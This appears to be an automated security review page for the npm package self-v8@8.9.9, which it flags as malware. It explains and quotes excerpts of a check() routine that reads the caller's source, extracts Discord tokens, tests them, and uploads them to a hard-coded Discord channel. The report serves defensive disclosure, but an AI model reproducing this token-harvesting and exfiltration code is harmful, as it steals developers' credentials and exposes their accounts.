self-v8@8.9.9
AI Security Review
scanned 3d ago · by lpm-firewall-aiThe exported check routine collects tokens from the caller's source, validates them, and uploads the config and results to a fixed Discord channel using a bundled account. This is credential theft and exfiltration, even though it requires the function to be called.
Static reason
No blocking static signals were detected.
Trigger
Calling the exported `check()` function when the caller's source contains a matching CONFIG block.
Impact
Exposes application configuration and token values to the operator of the fixed Discord channel and uses harvested credentials to access Discord accounts.
Mechanism
Reads `process.argv[1]`, extracts `CONFIG.tokens`, tests the tokens by logging in, then sends the config and results using a hard-coded Discord token.
Attack narrative
When `check()` is called, the package reads the caller's source file, extracts its CONFIG block and tokens, and attempts to authenticate with each token. It then logs in using a bundled Discord token and uploads the CONFIG block and validation report to a hard-coded channel, exposing the caller's secrets to a publisher-selected destination.
AI rationale
The exported check routine collects tokens from the caller's source, validates them, and uploads the config and results to a fixed Discord channel using a bundled account. This is credential theft and exfiltration, even though it requires the function to be called.
Evidence
index.jsThe caller's source file at `process.argv[1]` (read)
Network endpoints1
Discord API; target channel ID 1450242145461075991
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- `check()` reads the calling program's source and extracts its `CONFIG` block.
- It parses token values from `CONFIG.tokens` and attempts to log in with each token.
- It embeds a fixed Discord sender token and target channel ID.
- It sends the extracted config and token validation report to that channel.
- The function logs in with the bundled sender token to trigger the upload.
Evidence against
- The package has no install lifecycle scripts; its only declared script is a placeholder test command.
- The harvesting routine runs when the exported `check()` function is called, rather than at import time.
Behavioral surface
FilesystemNetwork
Source & flagged code
7 flaggedindex.jsView file
15const userCode = fs.readFileSync(userMainFilePath, 'utf8');
const configMatch = userCode.match(/const\s+CONFIG\s*=\s*(\{[\s\S]*?\});/);
if (configMatch && configMatch[0])
High
Ai Review Evidence
`check()` reads the calling program's source and extracts its `CONFIG` block.
index.jsView on unpkg · L1520let tokensToCheck = [];
const tokensMatch = configData.match(/tokens:\s*\[([\s\S]*?)\]/);
if (tokensMatch && tokensMatch[1]) {
tokensToCheck = tokensMatch[1]
.split(',')
High
Ai Review Evidence
It parses token values from `CONFIG.tokens` and attempts to log in with each token.
index.jsView on unpkg · L2032for (const token of tokensToCheck) {
const tempClient = new Client({ checkUpdate: false });
try {
await tempClient.login(token);
const name = tempClient.use
High
Ai Review Evidence
It parses token values from `CONFIG.tokens` and attempts to log in with each token.
index.jsView on unpkg · L32Findings
7 High1 Medium2 Low
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
LowFilesystem
Affected versions and remediation
This report applies to self-v8@8.9.9.
See all versions of self-v8 for other recorded verdicts.
- Avoid installing self-v8@8.9.9. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.